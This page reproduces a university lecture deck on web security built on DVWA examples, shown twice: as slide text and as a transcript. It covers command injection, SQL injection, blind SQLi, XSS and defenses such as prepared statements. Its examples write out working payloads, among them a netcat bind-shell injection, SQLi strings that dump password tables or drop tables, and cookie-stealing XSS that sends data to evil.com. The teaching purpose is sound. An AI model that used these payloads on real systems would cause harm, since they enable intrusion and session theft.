Web Security Threats and Vulnerabilities

 
Web Security
 
David Brumley
Carnegie Mellon University
 
Examples based on DVWA (http://www.dvwa.co.uk/)
Collin Jackson’s Web Security Course
 http://caffeinept.blogspot.com/2012/01/dvwa-sql-injection.html
Graphics from The Noun Project
 
Friendly Reminder
 
CTF challenge {writeups,videos} due by last
day of 18487 (day of test 3)
 
2
 
3
We’re done with Crypto!
Web Application Overview
4
subdomain.mysite.com/folder/page?id=5
Database Queries
 
HTML Page, JS file, CSS file, image, etc.
GET Requests: Used for requests for
pages, resources, etc.
POST Requests: Used for form
submissions, logins, etc.
 
Web Security Overview
 
5
 
(By Threat Model)
 
Malicious Client Attacking Server
 
Injection
 
File System Traversal
 
Broken Access Control
 
Web Security Overview
 
6
 
(By Threat Model)
 
Malicious Server Attacking Client
 
Clickjacking
 
History Probing
 
Phishing
 
Web Security Overview
 
7
 
(By Threat Model)
 
Malicious User Attacking Other Users
 
Cross-Site Scripting (XSS)
 
Cross-Site Request Forgery
 
Remote Script Inclusion
 
Web Security Overview
 
8
 
(By Threat Model)
 
Malicious Server in “Mashup” Web Application
 
Clickjacking
 
Information Stealing
 
Web Security Overview
 
9
 
(By Threat Model)
 
Malicious User in Multi-Server Application
 
Single sign-on (Facebook, Twitter, etc.)
: Sign in as someone else
 
Multi-Party Payment (Paypal, Amazon Payments):
 Buy things for free
 
Injection Flaws
 
10
Injection flaws 
occur when an application
sends untrusted data to an interpreter.”
--- OWASP
11
https://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References
 
12
Server
Client
 
1. http://site.com/exec/
 
<h2>Ping for FREE</h2>
 
<p>Enter an IP address below:</p>
<form name="ping" action="#" method="post">
<input type="text" name="ip" size="30">
<input type="submit" value="submit" name="submit”>
</form>
Input to form
program
 
13
Server
Client
 
Send output
 
<h2>Ping for FREE</h2>
 
<p>Enter an IP address below:</p>
<form name="ping" action="#" method="post">
<input type="text" name="ip" size="30">
<input type="submit" value="submit" name="submit”>
</form>
  $t = $_REQUEST[‘ip'];
 $o = shell_exec(‘ping –C 3’ . $t);
 echo $o
 
PHP exec program
 
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: 172.16.59.128
...
ip=127.0.0.1&submit=submit
ip input
14
Server
Client
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: 172.16.59.128
...
ip=127.0.0.1&submit=submit
ip input
exploit the
bug
15
Server
Client
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: 172.16.59.128
...
ip=127.0.0.1%3b+ls&submit=submit
“; ls” encoded
 
Getting a Shell
 
netcat –v –e ‘/bin/bash’ –l –p 31337
 
16
ip=127.0.0.1+%26+netcat+-v+-
e+'/bin/bash'+-l+-p+31337&submit=submit
 
SQL Injection
 
17
 
/user.php?id=5
 
SELECT FROM users where uid=5
 
“dbrumley”
 
“dbrumley”
1
2
3
4
 
SQL Injection
 
18
 
/user.php?id=
-1 or admin=true
 
SELECT FROM users where uid=
-1 or admin=true
 
“adminuser”
 
“adminuser”
1
2
3
4
 
 
19
 
CardSystems Attack
 
CardSystems
credit card payment processing company
SQL injection attack in June 2005
put out of business
 
The Attack
263,000 credit card #s stolen from database
credit card #s stored unencrypted
43 million credit card #s exposed
 
Image: http://usa.visa.com/merchants/marketing_center/logo_usage.html
              https://www.mastercardbrandcenter.com/
SQL Overview
20
 
‘users’ table
A table is defined by a
tuple (
t
1
, t
2
, ..., t
n
)
of typed
named values. Each row
is a tuple of values
(v
1
:t
1
, v
2
:t
2
, ... v
n
:t
n
)
 
21
A schema is a collection of tables
with their intended relations
 
users
 
comments
Basic Queries
 
columns
 can either be:
List of comma-separated column names
“*” for all columns
tbl 
is a comma-separated list of tables
exp
 is a Boolean SQL expression
Single quotes for strings (‘’)
Integers are specified in the normal way
Typical SQL comment conventions:
Single line: ‘--’ (two dashes) character
Multi-line: “/*” and “*/” (like C)
Server-specific, e.g., “#” single-line comment for mysql
 
22
SELECT
 <
columns>
 
from
 <
tbl
> 
where
 <
exp
>
Returns all rows from 
<tbl>
 columns where 
<exp>
 is true
 
Example Query
 
23
 
comments
select * from comments
where user_id = 2;
2, 2, “I like sugar”
2, 3, “But not milk”
SELECT
 <
columns>
 
from
 <
tbl
> 
where
 <
exp
>
 
Join Example
 
24
select users.first_name,
comments.comment
from users, comments
where
users.user_id=comments
.user_id
and users.user_id = 2;
Gordon“I like sugar”
Gordon“But not milk”
SELECT
 <
columns>
 
from
 <
db
> 
where
 <
exp
>
Join two tables
Tautologies
25
comments
select * from
comments where
user_id = 2
OR 1= 1
;
SELECT
 <
columns>
 
from
 <
db
> 
where
 <
exp
>
Tautologies often
used in real attacks
 
 
26
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users
 
    WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' .
mysql_error() . '</pre>' );
Guess as to the exploit?
 
 
27
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users
 
    WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' .
mysql_error() . '</pre>' );
Ex: $id = 1 or 1=1;
 
28
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users
 
    WHERE user_id = ‘$id’";
$result = mysql_query($getid) or die('<pre>' .
mysql_error() . '</pre>' );
Does quoting make it safe?
Hint: 
Comments are specified:
Single line: ‘--’ (two dashes) character
Multi-line: “/*” and “*/”
“#” single-line comment for mysql
 
 
29
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users
 
    WHERE user_id = ‘$id’";
$result = mysql_query($getid) or die('<pre>' .
mysql_error() . '</pre>' );
1’ OR 1=1;#
 
Even worse
 
30
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users
 
    WHERE user_id = ‘$id’";
$result = mysql_query($getid) or die('<pre>' .
mysql_error() . '</pre>' );
1
′  ;  DROP TABLE  Users ; -- #
 
Command not verified, but you get the idea
 
31
 
Reversing Table Layout
 
1.
Column Numbers
2.
Column Names
3.
Querying other tables
 
32
 
Probing 
Number
 of Columns
 
ORDER BY
 <number> can be added to an SQL
query to order results by a 
queried
 column.
 
33
select first_name,last_name from users
where user_id = 1 ORDER BY 1
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users
 
    WHERE user_id = ‘$id’";
$result = mysql_query($getid) or die('<pre>' .
mysql_error() . '</pre>' );
 
Probing 
Number
 of Columns
 
ORDER BY
 <number> can be added to an SQL
query to order results by a column.
 
34
...
$getid = “SELECT first_name, last_name FROM users
 
    WHERE user_id = ‘$id’”;
...
Probing 
Number
 of Columns
ORDER BY
 <number> can be added to an SQL
query to order results by a column.
35
What would be a good algorithm
using this fact to determine exact
number of columns?
 
Probing Column 
Names
 
A query with an incorrect column name will
give an error
 
36
...
$getid = “SELECT first_name, last_name FROM users
 
    WHERE user_id = ‘$id’”;
...
 
Querying extra tables with UNION
 
37
 
<query 1> 
UNION
 <query 2> can be used to
construct a separate query 2.
...
$getid = “SELECT first_name, last_name FROM users
 
    WHERE user_id = ‘$id’”;
...
 
 
38
Leaking the result of
error messages is a
poor security practice.
Errors leaks
information!
 
Error Messages
 
39
Error returned to user:
Unknown column '3' in 'order clause’
Error returned to user:
Unknown column 'firstname' in 'where clause'
Blind SQL Injection
40
/user.php?id=5
SELECT FROM users where uid=5 
“jburket”
“jburket”
1
2
3
4
Sometimes results of SQL queries
are not sent back to the user
 
Blind SQL Injection
 
Defn:
 A 
blind
 SQL injection attack is an attack
against a server that responds with generic error
page or even nothing at all.
 
Approach: ask a series of True/False questions,
exploit side-channels
 
41
Blind SQL Injection
42
if ASCII(SUBSTRING(username,1,1)) 
= 64 waitfor delay ‘0:0:5’
 
if ASCII(SUBSTRING(username,1,1))
= 64 waitfor delay ‘0:0:5’
1
2
If the first letter of the username is A
(65), there will be a 5 second delay
Blind SQL Injection
43
if ASCII(SUBSTRING(username,1,1)) 
= 
65
 waitfor delay ‘0:0:5’
if ASCII(SUBSTRING(username,1,1)) 
= 65 waitfor delay ‘0:0:5’
1
2
By timing responses, the attacker learns
about the database one bit at a time
Parameterized Queries with Bound
Parameters
44
 
public
 
int
 setUpAndExecPS
(){
 query = conn.
prepareStatement(
 "UPDATE players SET name = ?, score = ?,
                 active = ? WHERE jerseyNum = ?"
)
;
  
//automatically sanitizes and adds quotes
  query.
setString(1
, "Smith, Steve"
)
;
  query.
setInt(2
, 
42)
;
  query.
setBoolean(3
, 
true)
;
  query.
setInt(4
, 
99)
;
  
//returns the number of rows changed
  
return
 query.
executeUpdate()
;
}
Similar
methods for
other SQL
types
Prepared queries stop us from mixing data with code!
 
Safety
Code for the worst
 
45
 
Database
 
Programmer
 
Cross Site Scripting (XSS)
 
1.
Document Object Model
2.
Cookies and Sessions
3.
XSS
 
46
 
Basic Browser Model
 
1.
Window or frame loads content
2.
Renders content
Parse HTML, scripts, etc.
Run scripts, plugins, etc.
3.
Responds to events
 
Event examples
User actions: OnClick, OnMouseover
Rendering: OnLoad, OnBeforeUnload, onerror
Timing: setTimeout(),  clearTimeout()
 
47
 
Document Object Model
 
48
document
head
body
title
a
Alice
A parse tree
that is
dynamically
updated
<html><body>
<head><title>Example</title> ... </head>
<body>
<a id="myid" href="javascript:flipText()">Alice</a>
</body></html>
...
<head> ...
<script type="text/javascript">
  flip = 0;
  function flipText() {
   var x = document.getElementById('myid').firstChild;
   if(flip == 0) { x.nodeValue = 'Bob'; flip = 1;}
   else { x.nodeValue = 'Alice'; flip = 0; }
  }
</script>
</head>
<body>
<a id="myid"
   href="javascript:flipText()">
   Alice
</a>
</body>
 
Document Object Model
 
49
document
head
body
a
Alice
script
flipText
Clicking causes
“Alice” => “Bob”
 
Cross site scripting (XSS)
 
is the ability to get a
website to display 
user-supplied
 content laced
with malicious HTML/JavaScript”
 
50
 
51
<form name="XSS" action="#" method="GET”>
<p>What's your name?</p>
<input type="text" name="name">
<input type="submit" value="Submit">
</form>
<pre>Hello David</pre>
 
52
<form name="
XSS" action="#" method="GET”>
<p>What's your name?</p>
<input type="text" name="name">
<input type="submit" value="Submit">
</form>
<pre>>Hello David<</pre>
HTML chars not
stripped
 
Lacing JavaScript
 
53
<script>alert(“hi”);</script>
<form name="
XSS" action="#" method="GET”>
<p>What's your name?</p>
<input type="text" name="name">
<input type="submit" value="Submit">
</form>
<pre><script>alert(“hi”)</script></pre>
 
Lacing JavaScript
 
54
Injected code
<script>alert(“hi”);</script>
 
HTTP is a 
stateless
 protocol.  In order to
introduce the notion of a session, web services
uses cookies.  Sessions are identified by a unique
cookie.
 
55
Form Authentication & Cookies
 
1.
Enrollment:
Site asks user to pick username and password
Site stores both in backend database
 
2.
Authentication:
Site asks user for login information
Checks against backend database
Sets user 
cookie 
indicating successful login
 
3.
Browser sends cookie on subsequent visits to
indicate authenticated status
56
Stealing cookies allows you to hijack a session
without knowing the password
 
Sessions using cookies
 
Server
 
Browser
 
POST/login.cgi
 
Set-cookie: authenticator
 
GET…
Cookie: authenticator
 
response
 
57
 
Stealing Your Own Cookie
 
58
<script>
alert(document.cookie)
</script>
My session token
 
“Reflected” XSS
 
Problem:
Server reflects back javascript-laced input
 
Attack delivery method:
Send victims a link containing XSS attack
 
59
 
Not clear to students
how a real attack would work
 
Reflected Example
 
60
Up through 2009:
http://www.lapdonline.org/... search_terms=<script>alert(“vuln”);</script>
(example attack: send phish purporting link offers free Anti-virus)
 
Stealing Cookies
 
http://www.lapdonline.org/search_results/search/&v
iew_all=1&chg_filter=1&searchType=content_basic&
search_terms=%3Cscript%3Ealert(
document.cookie
);
%3C/script%3E
 
61
<script>
alert(document.cookie)
</script>
Phish with malicious URL
62
http://www.lapdonline.org/search_results/search/&v
iew_all=1&chg_filter=1&searchType=content_basic&s
earch_terms=%3Cscript%3Edocument.location=‘evil.c
om/’ +
document.cookie
;%3C/script%3E
 
“Check out this link!”
lapdonline.org
evil.com
http://www.lapdonli
ne.org/search_result
s/search/&view_all=
1&chg_filter=1&searc
hType=content_basic
&search_terms=%3C
script%3Edocument.l
ocation=evil.com/
do
cument.cookie
;%3C/
script%3E
Response
containing
malicious JS
 
evil.com/
f9geiv33knv141
Session token for lapdonline.org
 
“Stored” XSS
 
Problem:
Server stores javascript-laced input
 
Attack delivery method:
Upload attack, users who view it are exploited
 
63
64
HTML bold for
emphasis!
Every browser
that visits the
page will run
the “bold”
command
65
Fill in with
<script>alert(“test”);<script>
Every browser that visits the page will run
the Javascript
66
Posts comment with text:
<script>document.location = “evil.com/” +
document.cookie</script>
lapdonline.org
evil.com
 
evil.com/
f9geiv33knv141
Session token for
lapdonline.org
Comment with text:
<script>document.location = “evil.com/” +
document.cookie</script>
67
Server
Attacker
1. Send XSS attack
Injection Attacks
Main problem: 
unsanitized 
user
 
input is
evaluated by the server or another user’s
browser
Main solution: sanitize input to remove
“code” from the data
68
Sanitizing Is Not Easy
Remove cases of “<script>”
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
Recursively Remove cases of “<script>”
<body onload=“alert(document.cookie)”>
Recursively Remove cases of “<script>” and JS keywords like “alert”
¼script¾a\u006ert(¢XSS¢)¼/script¾
US-ASCII 7-bit encoding. Server specific (Apache tomcat did this).
(1/4 = single character in ISO 8859-1, IE strips off MSB, get 60,
which is ‘<‘ in 7-bit ascii)
69
“Frontier Sanitization”
70
Sanitize all input immediately
(SQL, XSS, bash, etc.)
What order should the sanitization routines
be applied? SQL then XSS, XSS then SQL?
Second-Order SQL Injection
71
evil'
 
evil\'
Sanitizer
 
insert into sessions (username, sessionID)
values (‘evil\’’, 1234)
 
select * from
sessions where
sessionID = 1234
 
evil'
 
select * from users
where username =
‘evil’’
 
HORRIBLE ERROR
Sanitizing input once sometimes isn’t enough!
 
Context-Specific Sanitization
 
72
 
SQL Sanitization
 
XSS Sanitization
 
Examples
 
http://escape.alf.nu/
 
73
 
74
 
Questions?
Slide Note
Embed
Share

Explore different aspects of web security including injection flaws, malicious client-server interactions, and techniques used by attackers such as clickjacking and phishing. Gain insights into common threats like Cross-Site Scripting (XSS) and Broken Access Control, and understand how to protect web applications from vulnerabilities.

  • Web Security
  • Threat Model
  • Injection Flaws
  • Malicious Attacks
  • Vulnerabilities

Uploaded on Sep 16, 2024 | 0 Views


Download Presentation

Please find below an Image/Link to download the presentation.

The content on the website is provided AS IS for your information and personal use only. It may not be sold, licensed, or shared on other websites without obtaining consent from the author. Download presentation by click this link. If you encounter any issues during the download, it is possible that the publisher has removed the file from their server.

E N D

Presentation Transcript


  1. Web Security David Brumley Carnegie Mellon University Examples based on DVWA (http://www.dvwa.co.uk/) Collin Jackson s Web Security Course http://caffeinept.blogspot.com/2012/01/dvwa-sql-injection.html Graphics from The Noun Project

  2. Friendly Reminder CTF challenge {writeups,videos} due by last day of 18487 (day of test 3) 2

  3. Were done with Crypto! 3

  4. Web Application Overview subdomain.mysite.com/folder/page?id=5 HTML Page, JS file, CSS file, image, etc. run code Database Queries GET Requests: Used for requests for pages, resources, etc. POST Requests: Used for form submissions, logins, etc. 4

  5. Web Security Overview (By Threat Model) Malicious Client Attacking Server Injection File System Traversal Broken Access Control 5

  6. Web Security Overview (By Threat Model) Malicious Server Attacking Client Clickjacking History Probing Phishing 6

  7. Web Security Overview (By Threat Model) Malicious User Attacking Other Users Cross-Site Scripting (XSS) Cross-Site Request Forgery Remote Script Inclusion 7

  8. Web Security Overview (By Threat Model) Malicious Server in Mashup Web Application Clickjacking Information Stealing 8

  9. Web Security Overview (By Threat Model) Malicious User in Multi-Server Application Single sign-on (Facebook, Twitter, etc.): Sign in as someone else Multi-Party Payment (Paypal, Amazon Payments): Buy things for free 9

  10. Injection Flaws 10

  11. Injection flaws occur when an application sends untrusted data to an interpreter. --- OWASP Like Buffer Overflow and Format String Vulnerabilities, A result of from the possibility of interpreting data as code https://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References 11

  12. 1. http://site.com/exec/ Client Server 2. Send page <h2>Ping for FREE</h2> Input to form program <p>Enter an IP address below:</p> <form name="ping" action="#" method="post"> <input type="text" name="ip" size="30"> <input type="submit" value="submit" name="submit > </form> 12

  13. POST /dvwa/vulnerabilities/exec/ HTTP/1.1 Host: 172.16.59.128 ... ip=127.0.0.1&submit=submit ip input Client Server Send output $t = $_REQUEST[ ip']; $o = shell_exec( ping C 3 . $t); echo $o PHP exec program <h2>Ping for FREE</h2> <p>Enter an IP address below:</p> <form name="ping" action="#" method="post"> <input type="text" name="ip" size="30"> <input type="submit" value="submit" name="submit > </form> 13

  14. POST /dvwa/vulnerabilities/exec/ HTTP/1.1 Host: 172.16.59.128 ... ip=127.0.0.1&submit=submit ip input Client Server 2. Send page $t = $_REQUEST[ ip']; $o = shell_exec( ping C 3 . $t); echo $o exploit the bug PHP exec program 14

  15. POST /dvwa/vulnerabilities/exec/ HTTP/1.1 Host: 172.16.59.128 ... ip=127.0.0.1%3b+ls&submit=submit ; ls encoded Client Server 2. Send page $t = $_REQUEST[ ip']; $o = shell_exec( ping C 3 . $t); echo $o PHP exec program Information Disclosure 15

  16. Getting a Shell ip=127.0.0.1+%26+netcat+-v+- e+'/bin/bash'+-l+-p+31337&submit=submit netcat v e /bin/bash l p 31337 16

  17. SQL Injection 1 /user.php?id=5 dbrumley 4 3 dbrumley SELECT FROM users where uid=5 2 17

  18. SQL Injection 1 /user.php?id=-1 or admin=true adminuser 4 3 adminuser SELECT FROM users where uid=-1 or admin=true 2 18

  19. CardSystems Attack CardSystems credit card payment processing company SQL injection attack in June 2005 put out of business The Attack 263,000 credit card #s stolen from database credit card #s stored unencrypted 43 million credit card #s exposed Image: http://usa.visa.com/merchants/marketing_center/logo_usage.html https://www.mastercardbrandcenter.com/ 19

  20. SQL Overview A table is defined by a tuple (t1, t2, ..., tn)of typed named values. Each row is a tuple of values (v1:t1, v2:t2, ... vn:tn) Column 1 of Type 1 value 1 value 4 Column 2 of Type 2 value 2 value 5 Column 3 of Type 3 value 3 value 6 varchar(15) smallint user_id 1 2 3 ... first_name admin Gordon Hack ... last_name admin Brown Me ... users table user admin gordonb 1337 ... password <hash 1> <hash 2> <hash 3> ... avatar admin.jpg gordonb.jpg hacker.jpg ... 20

  21. user_id 1 2 3 ... first_name admin Gordon Hack ... last_name admin Brown Me ... user admin gordonb 1337 ... password <hash 1> <hash 2> <hash 3> ... avatar admin.jpg gordonb.jpg hacker.jpg ... users user_id 1 2 2 3 comment_id comment 1 2 3 4 comments Test Comment I like sugar But not milk Gordon is silly A schema is a collection of tables with their intended relations 21

  22. Basic Queries SELECT <columns>from <tbl> where <exp> Returns all rows from <tbl> columns where <exp> is true columns can either be: List of comma-separated column names * for all columns tbl is a comma-separated list of tables exp is a Boolean SQL expression Single quotes for strings ( ) Integers are specified in the normal way Typical SQL comment conventions: Single line: -- (two dashes) character Multi-line: /* and */ (like C) Server-specific, e.g., # single-line comment for mysql 22

  23. Example Query SELECT <columns>from <tbl> where <exp> user_id 1 2 2 3 comment_id comment 1 2 3 4 comments select * from comments where user_id = 2; Test Comment I like sugar But not milk Gordon is silly 2, 2, I like sugar 2, 3, But not milk 23

  24. Join Example SELECT <columns>from <db> where <exp> user_id 1 2 first_name admin Gordon last_name user admin Brown ... ... admin gordonb ... select users.first_name, comments.comment from users, comments where users.user_id=comments .user_id and users.user_id = 2; user_id 1 2 2 3 comment_id comment 1 2 3 4 Test Comment I like sugar But not milk Gordon is silly Join two tables Gordon Ilike sugar Gordon Butnot milk 24

  25. Tautologies SELECT <columns>from <db> where <exp> select * from comments where user_id = 2 OR 1= 1; user_id 1 2 2 3 comment_id comment 1 2 3 4 comments Test Comment I like sugar But not milk Gordon is silly 1, 1, Test Comment 2, 2, I like sugar 2, 3, But not milk 3, 4, Gordon is silly Tautologies often used in real attacks 25

  26. $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); Guess as to the exploit? 26

  27. $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); Ex: $id = 1 or 1=1; 27

  28. $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id "; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); Does quoting make it safe? Hint: Comments are specified: Single line: -- (two dashes) character Multi-line: /* and */ # single-line comment for mysql 28

  29. $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id "; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 1 OR 1=1;# 29

  30. Even worse $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id "; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 1 ; DROP TABLE Users ; -- # Command not verified, but you get the idea 30

  31. 31

  32. Reversing Table Layout 1. 2. 3. Column Numbers Column Names Querying other tables 32

  33. Probing Number of Columns ORDER BY <number> can be added to an SQL query to order results by a queried column. select first_name,last_name from users where user_id = 1 ORDER BY 1 $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id "; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 33

  34. Probing Number of Columns ORDER BY <number> can be added to an SQL query to order results by a column. ... $getid = SELECT first_name, last_name FROM users WHERE user_id = $id ; ... select first_name,last_name from users where user_id = 1 ORDER BY 1;# 1 or 2 columns select first_name,last_name from users where user_id = 1 ORDER BY 3;# 34

  35. Probing Number of Columns ORDER BY <number> can be added to an SQL query to order results by a column. What would be a good algorithm using this fact to determine exact number of columns? Brute force assuming an upper bound of 32 columns => ~ 5 queries Binary Search! 35

  36. Probing Column Names A query with an incorrect column name will give an error ... $getid = SELECT first_name, last_name FROM users WHERE user_id = $id ; ... select first_name,last_name from users where user_id = 1 or first_name IS NULL;# select first_name,last_name from users where user_id = 1 or firstname IS NULL;# 36

  37. Querying extra tables with UNION <query 1> UNION <query 2> can be used to construct a separate query 2. ... $getid = SELECT first_name, last_name FROM users WHERE user_id = $id ; ... select first_name,last_name from users where user_id = 1 UNION select user,password from mysql.users;# 37

  38. Leaking the result of error messages is a poor security practice. Errors leaks information! 38

  39. Error Messages select first_name,last_name from users where user_id = 1 ORDER BY 3;# Error returned to user: Unknown column '3' in 'order clause select first_name,last_name from users where user_id = 1 or firstname IS NULL;# Error returned to user: Unknown column 'firstname' in 'where clause' 39

  40. Blind SQL Injection 1 /user.php?id=5 jburket 4 3 jburket SELECT FROM users where uid=5 2 Sometimes results of SQL queries are not sent back to the user 40

  41. Blind SQL Injection Defn: A blind SQL injection attack is an attack against a server that responds with generic error page or even nothing at all. Approach: ask a series of True/False questions, exploit side-channels 41

  42. Blind SQL Injection Actual MySQL syntax! 1 if ASCII(SUBSTRING(username,1,1)) = 64 waitfor delay 0:0:5 if ASCII(SUBSTRING(username,1,1)) = 64 waitfor delay 0:0:5 2 If the first letter of the username is A (65), there will be a 5 second delay 42

  43. Blind SQL Injection 1 if ASCII(SUBSTRING(username,1,1)) = 65 waitfor delay 0:0:5 if ASCII(SUBSTRING(username,1,1)) = 65 waitfor delay 0:0:5 2 By timing responses, the attacker learns about the database one bit at a time 43

  44. Parameterized Queries with Bound Parameters publicint setUpAndExecPS(){ query = conn.prepareStatement( "UPDATE players SET name = ?, score = ?, active = ? WHERE jerseyNum = ?"); Similar methods for other SQL types //automatically sanitizes and adds quotes query.setString(1, "Smith, Steve"); query.setInt(2, 42); query.setBoolean(3, true); query.setInt(4, 99); //returns the number of rows changed return query.executeUpdate(); } Prepared queries stop us from mixing data with code! 44

  45. Safety Code for the worst Database Programmer 45

  46. Cross Site Scripting (XSS) 1. 2. 3. Document Object Model Cookies and Sessions XSS 46

  47. Basic Browser Model 1. Window or frame loads content 2. Renders content Parse HTML, scripts, etc. Run scripts, plugins, etc. 3. Responds to events Event examples User actions: OnClick, OnMouseover Rendering: OnLoad, OnBeforeUnload, onerror Timing: setTimeout(), clearTimeout() 47

  48. Document Object Model <html><body> <head><title>Example</title> ... </head> <body> <a id="myid" href="javascript:flipText()">Alice</a> </body></html> document A parse tree that is dynamically updated head body title ... a Alice 48

  49. Document Object Model <head> ... <script type="text/javascript"> flip = 0; function flipText() { var x = document.getElementById('myid').firstChild; if(flip == 0) { x.nodeValue = 'Bob'; flip = 1;} else { x.nodeValue = 'Alice'; flip = 0; } } </script> </head> <body> <a id="myid" href="javascript:flipText()"> Alice </a> </body> Alice => Bob document head body script a Clicking causes flipText Alice 49

  50. Cross site scripting (XSS) is the ability to get a website to display user-supplied content laced with malicious HTML/JavaScript 50

More Related Content

giItT1WQy@!-/#giItT1WQy@!-/#giItT1WQy@!-/#giItT1WQy@!-/#giItT1WQy@!-/#giItT1WQy@!-/#giItT1WQy@!-/#giItT1WQy@!-/#giItT1WQy@!-/#